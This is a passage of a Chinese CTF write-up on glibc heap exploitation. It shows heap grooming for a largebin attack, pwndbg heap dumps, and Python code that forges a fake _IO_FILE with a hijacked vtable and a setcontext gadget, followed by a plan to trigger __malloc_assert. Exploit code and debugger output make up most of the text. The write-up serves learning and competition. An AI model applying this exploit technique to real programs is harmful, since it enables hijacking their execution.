add(0,0x450,b'a'*8) #0 | |
add(1,0x418,b'a'*8) #1 | |
add(2,0x430,b'a'*8) #2 | |
add(3,0x418,b'a'*8) #3 | |
add(4,0x440,b'a'*8) #4 | |
add(5,0x418,b'\x00'*8) #5 | |
free(0) | |
free(4) | |
add(6,0x460,b'\x00'*8) #6 | |
show(0) |
chunk 的情况
pwndbg> heap | |
Allocated chunk | PREV_INUSE | |
Addr: 0x5609eb575000 | |
Size: 0x291 | |
Free chunk (largebins) | PREV_INUSE | |
Addr: 0x5609eb575290 | |
Size: 0x451 | |
fd: 0x7f2adf8f70e0 | |
bk: 0x5609eb575b00 | |
fd_nextsize: 0x5609eb575b00 | |
bk_nextsize: 0x5609eb575b00 | |
Allocated chunk | |
Addr: 0x5609eb5756e0 | |
Size: 0x420 | |
Free chunk (largebins) | PREV_INUSE | |
Addr: 0x5609eb575b00 | |
Size: 0x461 | |
fd: 0x5609eb575290 | |
bk: 0x7f2adf8f70e0 | |
fd_nextsize: 0x5609eb575290 | |
bk_nextsize: 0x5609eb575290 | |
Allocated chunk | |
Addr: 0x5609eb575f60 | |
Size: 0x420 | |
Allocated chunk | PREV_INUSE | |
Addr: 0x5609eb576380 | |
Size: 0x441 | |
Allocated chunk | PREV_INUSE | |
Addr: 0x5609eb5767c0 | |
Size: 0x471 | |
Top chunk | PREV_INUSE | |
Addr: 0x5609eb576c30 | |
Size: 0x1f3d1 |
接下来就是获取到_IO_list_all 的位置,然后进行伪造 iofile
伪造的模板,作者已经提供了,这里是用到了 setcontext 进行参数的设置,我们需要手动更改下 fake_io_addr 的地址为我们控制的 chunk 地址,这里就是 largebin attack 生效的攻击地址。
fake_io_addr=heapbase+0xb00 | |
next_chain = 0 | |
fake_IO_FILE=p64(0)*6 | |
fake_IO_FILE +=p64(1)+p64(0)# | |
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx | |
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext) | |
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') | |
fake_IO_FILE += p64(0) # _chain | |
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') | |
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address | |
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00') | |
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr | |
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00') | |
fake_IO_FILE += p64(0) # _mode = 0 | |
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00') | |
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10 | |
fake_IO_FILE +=p64(0)*6 | |
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr |
伪造好后的_io_file
pwndbg> p &_IO_list_all | |
$1 = (struct _IO_FILE_plus **) 0x7f85fb7ee680 <_IO_list_all> | |
pwndbg> p *(struct _IO_FILE_plus **) 0x7f85fb7ee680 | |
$2 = (struct _IO_FILE_plus *) 0x563e47a6c370 | |
pwndbg> p*(struct _IO_FILE_plus *) 0x563e47a6c370 | |
$3 = { | |
file = { | |
_flags = 0, | |
_IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451>, | |
_IO_read_end = 0x7f85fb7ee0e0 <main_arena+1120> "\320\340~\373\205\177", | |
_IO_read_base = 0x563e47a6b290 "", | |
_IO_write_base = 0x563e47a6b290 "", | |
_IO_write_ptr = 0x7f85fb7ee660 <_nl_global_locale+224> "\327\341z\373\205\177", | |
_IO_write_end = 0x0, | |
_IO_buf_base = 0x0, | |
_IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>, | |
_IO_save_base = 0x0, | |
_IO_backup_base = 0x563e47a6c420 "", | |
_IO_save_end = 0x7f85fb627a6d <setcontext+61> "H\213\242\240", | |
_markers = 0x0, | |
_chain = 0x0, | |
_fileno = 0, | |
_flags2 = 0, | |
_old_offset = 0, | |
_cur_column = 0, | |
_vtable_offset = 0 '\000', | |
_shortbuf = "", | |
_lock = 0x563e47a6c000, | |
_offset = 0, | |
_codecvt = 0x0, | |
_wide_data = 0x563e47a6c3a0, | |
_freeres_list = 0x0, | |
_freeres_buf = 0x0, | |
__pad5 = 0, | |
_mode = 0, | |
_unused2 = '\000' <repeats 19 times> | |
}, | |
vtable = 0x7f85fb7ea0e0 <_IO_wfile_jumps+32> | |
} |
接下来就是如何触发 exit,利用__malloc_assert 报错,这里可以修改 topchunk 的 size 进行报错。这里依旧可以选择进行 largebin attack. 文章最开始有介绍如何进行连续的两次 attack 。